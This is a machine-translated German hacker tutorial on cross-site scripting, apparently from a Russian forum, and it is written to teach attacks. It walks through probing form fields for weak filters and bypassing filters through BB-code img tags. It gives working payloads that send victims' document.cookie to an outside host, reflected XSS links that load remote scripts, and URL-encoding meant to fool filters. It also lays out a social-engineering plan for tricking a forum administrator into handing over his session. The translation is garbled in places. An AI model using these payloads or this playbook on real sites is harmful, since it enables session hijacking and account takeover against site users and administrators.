This page has been robot translated, sorry for typos if any. Original content here.

Beschreibung Xss von A bis Z.



  • Xss ist Css => Cross Site Scripting
  • Wie benutzt man XSS
  • Was ist ein XSS-Angriff?
  • Was ist passives und aktives XSS?
  • Also, ich werde speziell gehen, wie auf dieser Website XSS zu finden.
  • Und wie man feststellt, ob es einen Filter gibt oder nicht?
  • Active XSS
  • Wir haben die ganze Zeit Typenschlüssel geschrieben
  • Wie kann ich es durch eine Verknüpfung mit Xss ersetzen?


  • Xss ist Css => Cross Site Scripting

    Nicht zu verwechseln mit CSS wird auch XSS genannt
    Zum ersten Mal erschien diese BAG im Jahr 1997.



    Wie benutzt man XSS.


    Zunächst müssen wir wissen, was ein Cookie ist.
    Wenn Sie wissen, können Sie überspringen.

    Cookies werden zum Speichern von Site-Anmeldeinformationen auf dem Computer des Besuchers verwendet.
    Wenn Sie sich auf der Website unter dem Spitznamen "blabluble" registriert haben, hat die Site eine Datei mit Cookies auf Ihrem Computer gespeichert, auf der Ihre Daten verschlüsselt sind.
    Und wenn Sie einen Administrator haben und Sie Zugriff auf die Site haben und ich ein Benutzer bin, der Ihnen (Admin) Cookies gestohlen hat, kann ich sicher auf die Website gehen und die Site definiert mich als 'admin' - Ich habe Administratorrechte.

    Um den (gestohlenen) Koch zu ändern, empfehle ich Ihnen, CookieEdit für IE oder eingebaute Funktionen in Opera und Firefox zu verwenden.

    Um Cookies abzufangen, müssen Sie einen Ort auf der Site finden, an dem Sie eine XSS-Attacke durchführen können.


    Was ist ein XSS-Angriff?


    XSS-Angriffe sind Angriffe, die nicht auf der Site selbst, sondern auf den Benutzern der Site erfolgen.
    XSS ist ein Fehler in der Filteranwendung.

    Es gibt passives XSS und aktives XSS.

    Was ist passives und aktives XSS?


    Passiv - diese Xss, die das Opfer direkt beteiligen müssen, gibt es spezielle Einschränkungen und Schwierigkeiten.
    Daher wird passives XSS nicht sehr geschätzt.
    Zum Beispiel müssen Sie es durch einen giftigen Link führen, der Social Engineering erfordert, List.

    Aktiv - diese XSS, die keine zusätzlichen Aktionen vom Opfer erfordert - es genügt, nur die Seite mit Ihrem XSS zu öffnen und der Java-Code wird automatisch ausgeführt.
    Dank ihrer Automatisierung sind sie sehr nützlich und wertvoll.
    Zum Beispiel existiert ein aktives xss in BB-Tags, weil eine unzureichende Filterung vorliegt, wenn Sie eine Nachricht im forum \ guestbook \ chat hinterlassen, die bei jedem Update immer aktiv ist.




    Also, ich werde speziell gehen, wie auf dieser Website XSS zu finden.


    Wie ich früher schrieb, dass XSS aus Tags besteht, bestehen sie auch aus html und javascript =).

    Javascript kann in HTML eingegeben werden.
    Kann codiert werden, um Filter zu umgehen. Aber dazu später mehr.

    Woher weißt du, dass XSS auf einer bestimmten Website läuft?
    Schreckliche Verrücktheit des Typs
    <script> alert () </ script> Wir versuchen, dieses Skript in alle verschiedenen Felder einzufügen ... wenn eine Nachricht ausgegeben wurde, wurde das Skript verarbeitet und ausgeführt.

    Die häufigste XSS (beobachtet an allen Orten, wo schlechte Filterung auftritt):

    "> <script> alert () </ script>

    Der ganze Punkt ist "> .

    Denken wir darüber nach, was wir tun, wenn wir das Feld "> <script> alert () </ script> eingeben. Was passiert?

    Wir geben eine Variable in der Form "> <script> alert () </ script> einer Variablen ein." Die Variable wird verarbeitet "> wird ausgeführt,

    Skript und ruft <script> alert () </ script>

    Dieses XSS ist das beliebteste in Suchmaschinen:

    Wir scannen alle Felder der Website und versuchen, "> <script> alert () </ script>
    Wenn die Nachricht herauskam - Sie haben XSS gefunden ...




    Und wie man feststellt, ob es einen Filter gibt oder nicht?


    Geben Sie einfach in jedes Feld ein: '';! - "<########> = & {()}
    Öffnen Sie als nächstes die HTML-Seite und suchen Sie nach dem Wort "########"
    und sehen Sie die nachfolgenden sivoli ..

    Wenn <> dies das erste Anzeichen der Sicherheitsanfälligkeit ist, hat der Filter ein Loch.
    Wenn "\ \ Zeichen dieselben sind wie sie eingegeben wurden, ist dies das zweite Anzeichen der Sicherheitsanfälligkeit - mögliche zusätzliche Zeichen für den nachfolgenden XSS-Angriff.
    Dann, wenn Sie HTML geöffnet haben, fanden Sie <> dann wahrscheinlich ein Loch im Filter.
    Wenn Sie HTML öffnen, stellen Sie fest, dass <> durch andere Zeichen ersetzt wird, dann ist dies ein Unmut - ein Filter bei
    es funktioniert normal.
    Es ist auch möglich, im Feld Folgendes einzugeben, um die Filterung zu prüfen: "> <> '" `, / \? @%

    Betrachten Sie den Fall, wenn der Filter <>

    In diesem Fall gibt es eine Lochwahrscheinlichkeit.
    Zum Beispiel hat der Filter die Bedingung, <script>, <> und zu essen.
    Versuchen Sie dann <zxcvb script: alert ();

    Der Filter sieht so aus, dass in <IMG% 20SRC = "Java-Script nichts gefährlich ist : alert (); nein, es schließt und dadurch
    Ausführen des Skripts.

    Wenn der Filter verschiedene Kodierungen nicht filtert, können Sie natürlich versuchen, das Skript zu kodieren und den Code einzufügen.

    Alles, was Sie versuchen müssen, zu finden ...
    Versuchen Sie, in die Felder einzutreten und überprüfen Sie sorgfältig, was wir vom Filter erhalten haben.
    Die Methode von Tyke zu verstehen, wie der Filter funktioniert, ob es irgendwelche Fehler hat.
    Wenn der Filter fehlerhaft ist, können wir immer Skripte einfügen.




    Active XSS


    Hier ist es notwendig, die erlaubten Tags zu verwenden und sie zu verstecken, Sie müssen die Abfrage ausführen.

    Zum Beispiel Tags URLs, bb, img.
    Der ganze Punkt der Einfügung besteht darin, dass wir die Abfrage in die img- oder url-Parität einbetten müssen. Img hat viele Parameter außer src und alt.
    Dieser Fehler wird sehr häufig im Forum, in Gästebüchern usw. verwendet.

    Betrachten Sie aktive XSS.

    Warnungen !!!

    Tags [fon * t], [im * g], [ur * l] werden mit * geschrieben, um sicherzustellen, dass sie nicht mit dem Site-Code verschmelzen.
    Um diese Tags zu verwenden, löschen Sie * .

    Zum Beispiel können Sie das Forum auf die Verwendung von Tags [fon * t], [im * g], [ur * l] überprüfen und versuchen, ein Skript in sie einzufügen oder zu kombinieren:

    [im * g] httr: //www.qwewqw.ru/1.jpg [/ im * g] Es gibt ein Kreuz ... bedeutet, dass img verwendet wird und wir haben es aufgehoben (es ist nur, dass es img aktiviert ist, und Admins aus Erstellen einer Nachricht, die entfernt wird, sagen sie, Bilder können nicht eingefügt werden und es kann verwendet werden
    verschiedene Formen), wenn es kein Kreuz gibt ... und die gesamte Inschrift hängt, dann versuchen Sie dies:
    [im * g src = httr: //www.qwewqw.ru/1.jpg]

    So haben wir zum Beispiel ein Kreuz erreicht:
    [im * g] httr: //www.qweqw.ru/1.jpg [/ im * g]

    Prüfen wir, ob der Filter ein Leerzeichen enthält, fügen Sie nach der Erweiterung jpg ein Leerzeichen hinzu:
    [im * g] httr: //www.qweqw.ru/1.jpg [/ im * g]
    wenn es ein Kreuz gibt - dann ist alles in Ordnung.

    Weiter gibt es img Parameter dynsrc und lowsrc, die Javascript halten. Wir versuchen zum Beispiel:
    [im * g] http://www.qwewqw.ru/1.jpg dynsrc = Java-Skript: alert () [/ im * g]
    überprüfen, senden - eine Nachricht senden - das bedeutet, Sie haben das aktive XSS gefunden und statt alert () können Sie ein beliebiges Skript einfügen.

    Wenn der Filter nicht aufgibt, versuchen Sie Folgendes:
    [im * g] http://www.qweqw.ru/ "/ dynsrc =" Java-Skript: alert () "/ 1.jpg [/ im * g]
    und
    [im * g] http://www.qwewqw.ru/ "/ dynsrc = Java-Skript: alert () / 1.jpg [/ im * g]

    Wenn aus den obigen Beispielen ein Kreuz erhalten wird, wird httr: //www.qweqw.ru/1.jpg durch die Adresse des Schnüfflers ersetzt.

    Es gibt Zeiten, wenn jpg vom Administrator deaktiviert ist.




    Wir haben weiterhin Codes wie:


    <script>alert('HakNet')</script>
    java script:alert('HakNet')
    java script:alert('HakNet')/1.jpg и так далие..
    Aber sie haben keinen Nutzen gebracht, das sind nur die Codes zum Testen (Testen) auf Xss.

    Hier ist das Skript:
    <script>
    img = new Image();
    img.src = "http://antichat.org/s/HakNet.gif?"+document.cookie;
    </script>
    Er stiehlt bereits Cookies =)




    Wie kann ich es durch eine Verknüpfung mit Xss ersetzen?


    Ja, sehr einfach ...
    Es gibt mehrere Möglichkeiten:

    - 1) wir machen das:
    http://*****.ru/free?p='><script>img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;"+document.cookie;</script> wo **** die Seite mit Xss.

    Hier ist das kompilierte Skript:
    '><script>img = new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;</script>
    - 2) Du kannst das immer noch tun:
    http://*****.ru/free?p='><script src=http://haknet.h16.ru/script/js.js></script> wo es sich auf http: // haknet .h16.ru / script / js.js

    und in js.js gibt es:
    img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie; diese Methode ist zuverlässiger.

    Aber wie ich schon schrieb - manchmal gibt es Schwierigkeiten mit Filtern auf der Seite (unser Skript rollt nicht).
    Dann müssen Sie darüber nachdenken, wie Sie damit umgehen können.
    Sie können einfach etwas hinzufügen, etwas ändern oder im Skript löschen.
    Aber es gibt eine zuverlässigere Option, wenn wir nur das Skript kodieren. Dafür gibt es viele Pläne.
    Es gibt eine Website wie http://ha.ckers.org/xss.html (Encoder-Decoder).

    Hier ist ein Beispiel:
    %68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
    es wurde kodiert:

    http://*****.ru/free?p='><script src=http://haknet.h16.ru/script/js.js></script>
    - 3) Insbesondere die Verschlüsselung ist nicht nur notwendig, um Filter zu täuschen, sondern auch um ADMIN zu täuschen, wenn man passive CSU verwendet.

    Hier ist ein Beispiel, das auf Social Engineering basiert.
    Wir suchen Kontakt mit dem Forumsadministrator, wir werfen ihm einen Link zu seiner Seite in seinem Forum und er sagt "so cooles Feature ist auf der Seite" und so weit im gleichen Geist.
    Und auf unserer Seite wird wie Sie schon erraten =) Hier ist das Skript:

    <script language="JavaScript">
    document.location.href="%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E"
    </script>

    Was fragt Sie document.location.href? )) .. Dies ist Java-Code, der ohne eine Anfrage an die angegebene Seite weitergegeben wird. So, wir bekommen den Link zum Admin und er ging zu unserer Seite, das ist was getan wird .. er wirft schnell auf

    %68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E und dies ist bereits unser XSS in verschlüsselter Form.

    Hinweis: Dies funktioniert nur, wenn Xss zum Site-Administrator gehört, dem Sie den Link gestrichen haben.
    Mit anderen Worten, die SCHWIERIGKEIT DER PASSIVEN CSU ist, dass Verwundbarkeit NUR verwendet werden kann, wenn das Opfer auf einer gefährdeten Seite AUTORISIERT ist !!!